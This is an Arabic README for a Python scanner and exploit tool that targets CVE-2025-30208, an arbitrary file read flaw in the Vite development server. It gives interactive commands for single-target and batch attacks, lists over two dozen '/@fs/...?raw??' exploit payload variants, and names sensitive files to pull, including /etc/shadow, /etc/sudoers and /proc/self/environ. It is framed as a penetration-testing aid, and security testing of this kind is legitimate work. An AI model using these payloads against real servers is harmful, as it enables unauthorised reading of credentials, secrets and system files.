
CVE‑2025‑30208 هي ثغرة قراءة ملف عشوائية متوسطة الخطورة في خادم تطوير Vite (أداة بناء واجهات أمامية شائعة).
ماسح متقدم لثغرة CVE-2025-30208 مع ميزات على مستوى المؤسسات
أداة اختبار اختراق احترافية لاكتشاف ثغرة قراءة الملفات العشوائية في Vite
🚀 بداية سريعة • 📋 الميزات • 🔧 الاستخدام • 📊 أمثلة • 🛡️ الأمان
هذه أداة ماسح شاملة مصممة لاكتشاف واستغلال ثغرة CVE-2025-30208 في خوادم تطوير Vite. تسمح الثغرة بقراءة الملفات بشكل عشوائي عبر نقاط نهاية نظام الملفات في Vite، مما قد يعرض ملفات التكوين الحساسة، كود المصدر، ومعلومات النظام.
تتميز الأداة الآن بـ بنية معيارية لسهولة الصيانة والتوسع:
CVE-2025-30208.py - تطبيق الماسح الرئيسيpayloads.py - حمولات استغلال متقدمة (أكثر من 60 متغيرًا)sensitive_files.py - قاعدة بيانات شاملة للملفات الحساسة (أكثر من 200 ملف)html_template.py - قالب تقارير HTML محسّن بأسلوب الهاكرزpip3 install -r requirements.txt
python3 CVE-2025-30208.py
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd
CVE-2025-30208 > test
CVE-2025-30208 > run
# تمكين وضع التفصيل للحصول على مخرجات مفصلة
CVE-2025-30208 > verbose
CVE-2025-30208 > run
CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch
192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[اضغط Enter مرتين للإنهاء]
CVE-2025-30208 > scan
# تكوين الوكيل
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
# تعيين رؤوس مخصصة
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}
# تكوين تحديد السرعة
CVE-2025-30208 > rate
Enter rate limit: 1.0
# إنشاء تقرير HTML جميل
CVE-2025-30208 > pull
# بدء خادم ويب لعرض التقرير
CVE-2025-30208 > web
# بدء خادم ويب على منفذ محدد
CVE-2025-30208 > web 8081
# إيقاف خادم الويب
CVE-2025-30208 > web off
| الأمر | الوصف | مثال |
|---|---|---|
set <option> <value> | تعيين خيارات التكوين | set RHOST 192.168.1.100 |
show options | عرض الإعدادات الحالية | show options |
edit | محرر خيارات تفاعلي | edit |
run / exploit | تشغيل اختبار الثغرة | run |
batch | فحص دفعي لأهداف متعددة | batch |
scan | اكتشاف الملفات الحساسة | scan |
pull | تصدير النتائج إلى HTML/JSON | pull |
web [on|off|port] | خادم ويب لتقارير HTML | web 8080 |
save | حفظ تكوين الجلسة | save |
load | تحميل تكوين الجلسة | load |
test | اختبار الاتصال بالهدف | test |
validate | التحقق من صحة التكوين الحالي | validate |
verbose | تبديل وضع التفصيل | verbose |
proxy | تكوين إعدادات الوكيل | proxy |
headers | تعيين رؤوس HTTP مخصصة | headers |
rate | تكوين تحديد السرعة | rate |
log | عرض معلومات التسجيل | log |
help / ? | عرض المساعدة | help |
exit / quit | الخروج من الأداة | exit |
| الخيار | الوصف | الافتراضي | التحقق |
|---|---|---|---|
RHOST | المضيف/عنوان IP الهدف | - | التحقق من صحة اسم المضيف/IP |
RPORT | رقم منفذ الهدف | - | نطاق المنافذ (1-65535) |
FILEPATH | مسار الملف للاختبار | etc/passwd | التحقق من صحة المسار |
PROXY | عنوان URL للوكيل HTTP/HTTPS | - | التحقق من صحة تنسيق URL |
VERBOSE | تمكين المخرجات التفصيلية | false | التحقق من صحة القيمة المنطقية |
RATE_LIMIT | التأخير بين الطلبات (بالثواني) | 0.3 | التحقق من صحة الرقم |
THREADS | عدد الخيوط للفحص الدفعي | 5 | التحقق من صحة العدد الصحيح |
TIMEOUT | مهلة الطلب (بالثواني) | 5 | التحقق من صحة العدد الصحيح |
CUSTOM_HEADERS | رؤوس HTTP مخصصة (JSON) | {} | التحقق من صحة تنسيق JSON |
يستخدم الماسح الآن أكثر من 60 متغيرًا مختلفًا من الحمولات منظمة في payloads.py:
/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url
/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8
/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug
/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html
/app/{file_path}?raw??
/App/{file_path}?raw??
تختبر الأداة الآن أكثر من 200 ملف حساس منظمة في sensitive_files.py:
/etc/passwd - معلومات حسابات المستخدمين/etc/shadow - بيانات كلمة المرور المشفرة/etc/services - خدمات الشبكة/etc/hosts - تعيينات أسماء المضيفين/etc/fstab - جدول نظام الملفات/etc/ssh/sshd_config - إعدادات خادم SSH/etc/crontab - مهام cron النظامية/etc/sudoers - إعدادات sudo/proc/version - إصدار النواة/proc/cpuinfo - معلومات وحدة المعالجة المركزية/proc/meminfo - معلومات الذاكرة/proc/self/environ - بيئة العملية/proc/self/cmdline - سطر أوامر العملية/proc/net/tcp - اتصالات TCP/proc/net/udp - اتصالات UDP